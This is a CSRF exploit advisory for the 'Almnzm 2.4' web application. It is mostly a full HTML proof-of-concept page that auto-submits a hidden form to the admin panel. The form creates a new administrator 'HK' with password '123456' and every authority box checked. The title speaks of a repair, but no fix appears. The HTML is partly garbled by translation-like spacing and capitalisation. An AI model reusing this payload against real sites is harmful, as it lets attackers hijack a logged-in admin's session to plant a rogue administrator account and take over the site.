Almnzm 2.4 & lt; = CSRF defect (add administrator) and repair

Title: almnzm 2.4 <= CSRF Vulnerability (Add Admin)
Developer: almnzm.com
Hk@r00t-s3c.com by HaNniBaL KsA (HK) www.2cto.com
CSRF test (Add a new Administrator ):
<Center> <B> <font face = "Tahoma" size = "5"> [<font color = "# FF0000"> Priv8 </font>]
<Span dir = "ltr"> <font color = "# FF0000"> Almnzm 2.4 </font> <font color = "# ffffff">
</Font> </span> CSRF Exploit !! </Font> <font face = "Tahoma" size = "2"> </font> <font face = "Tahoma" size = "5"> </font>
<Font color = "# FF0000" face = "Tahoma" size = "2"> Add New Admin: D </font> </B> </p>
<P align = "center"> <B> <font face = "Tahoma"> By: <font color = "# FF0000"> HaNniBaL
KsA </font> (<font color = "# FF0000"> HK </font>) </font> </B> </p> <center>
<B> <font face = "Tahoma"> <a href = "http://www.bkjia.com"> www.2cto.com </a> </font> </B> <br/>
<Form name = "add" action = "http://www.bkjia.com/PATH/admincpanel/index. php? Action = doadd "method =" post ">
<Table width = "90%" cellspacing = "1" cellpadding = "4"> <tr> <td> <p align = "center">
UserName: <input size = 20 type = "text" name = "name" value = "HK"> </td> </tr> <td> <p align =" center ">
PassWord: <input size = 20 type = "password" name = "password" value = "123456"> </td> </tr> <td> <p align =" center ">
E-mail: <input size = 20 type = "text" name = "email" value = "I @r00t-s3c.com"> </td> </tr> <td> <center>
<Table border = 0> <tr> <td>
<! --
NOTE! :
The value id 'z for admin privileges can be change in any site: D "down in checkbox' z! "
^ So? .. Maybe this exploit will add a new admin but without administrator permissions "just user xD "!!
-->
<Input type = checkbox type = hidden name = authorities1 value = 25 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities2 value = 24 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities3 value = 34 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities4 value = 41 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities5 value = 39 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities6 value = 12 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities7 value = 21 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities8 value = 38 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities9 value = 9 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities10 value = 2 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities11 value = 3 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities12 value = 4 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities13 value = 5 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities14 value = 6 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities15 value = 11 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities16 value = 44 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities17 value = 50 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities18 value = 18 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities19 value = 30 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities20 value = 14 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities21 value = 37 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities22 value = 35 checked> </td> </tr> <td>
<Input type = checkbox type = hidden name = authorities23 value = 43 checked> </td> </tr> </table> </td> </tr>
<Input type = "hidden" name = "formtype" value = "add">
<Input type = "hidden" name = "componentid" value = "39"> </center>
<! -- Thanks r00t-s3c.com & alm3refh.com -->
<Tr> <td> <p align = "center">
<Input size = 50 type = "submit" name = "submit" value = "Add New Admin: D "> </td> </tr> </table> </center> </form>
<Script> document. add. submit (); </script>
#
# The new Administrator Logon information is as follows:
# UserName: HK
# PassWord: 123456